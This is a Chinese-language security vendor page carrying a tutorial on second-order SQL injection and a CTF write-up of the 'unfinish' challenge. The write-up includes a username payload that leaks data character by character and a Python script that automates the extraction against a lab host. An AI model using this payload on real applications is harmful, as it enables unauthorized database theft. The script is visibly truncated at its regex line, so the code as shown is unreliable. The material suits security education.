2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布
2025-02-07
美创用户专访 | 精细化管理:医疗行业数据分类分级的策略与实践
2025-01-10
容灾演练双月报|美创助力某特大型通信基础设施央企顺利完成多个核心系统异地容灾演练
2025-01-10
国家级|美创、徐医附院共建项目入选工信部《2024年网络安全技术应用典型案例拟支持项目名单》
2024-12-20
全球数据跨境流动合作倡议
2024-11-22
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力,而在CTF等各类安全竞赛中,二次注入也是常考的点。
二次注入基本原理
二次注入漏洞字面上理解就是结合两个注入漏洞点实现sql注入的目的,但是这其中还有几个细节需要讲解一下。首先,第一个注入点因为经过过滤处理所以无法触发sql注入漏洞,比如addslashes函数,将单引号等字符转义变成’。但是存进数据库后,数据又被还原了,也就是反斜杠没了,在这种情况下,如果能发现一个新的注入同时引用了被插入了的数据库数据,就可以实现闭合新发现的注入漏洞引发漏洞。
CTF二次注入案例——unfinish
漏洞环境
http://111.200.241.244:56780/login.php
通过dirsearchj进行目录爆破
存在路径http://111.200.241.244:56780/register.php
注册账号1232@qq.com;test;test登录,用户名显示在登录后的页面上。
这样这里有可能存在二次注入,当我们注册时,后台的SQL语句大概类似于
Insert into users (email,username,password) VALUES (1232@qq.com,test,test)
在登录时,通过查询邮箱名显示相关用户账号,后台的SQL语句大概类似于
Select username from users whereusers.email = “1232@qq.com”
这里对于mysql存在特性,+号在mysql作为运算符,如果将username的参数值修改成为如’0’+SQL语句+‘1‘,则select ‘0’+SQL语句+‘1’ from users where users.email=”1232@qq.com”,其中的SQL语句就会被执行,最终该SQL语句执行后的内容就会显示在页面上。
首先进行fuzz,看看参数值处过滤了什么字符,便于用于后面SQL注入的payload构造。
可以看到逗号,information等字符都会被过滤,因此构造payload如下,表名通过猜测得到,
0'+ascii(substr((select * from flag) from 1for 1))+'0
注册是邮箱名为1@qq.com;用户名为0'+ascii(substr((select * from flag) from 1 for 1))+'0,密码为123456,成果注册后,登录,获得用户名为102
编写脚本,自动化获取flag
import requests
import re
register_url ='http://f33ca159-6a00-4a4d-8718-b833c42e6a83.node4.buuoj.cn:81/register.php'
login_url ='http://f33ca159-6a00-4a4d-8718-b833c42e6a83.node4.buuoj.cn:81/login.php'
flag = ''
for i in range(1, 100):
register_data = {
'email': 'test%d@1234.com' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1))+ '0" % i,
'password': '1234'
}
#post提交注册payload
res = requests.post(url=register_url, data=register_data)
login_data = {
'email': 'test%d@1234.com' % i,
'password': '1234'
}
print(login_data)
res = requests.post(url=login_url, data=login_data)
num = re.search('
flag += chr(int(num.group(1).strip()))
print(flag)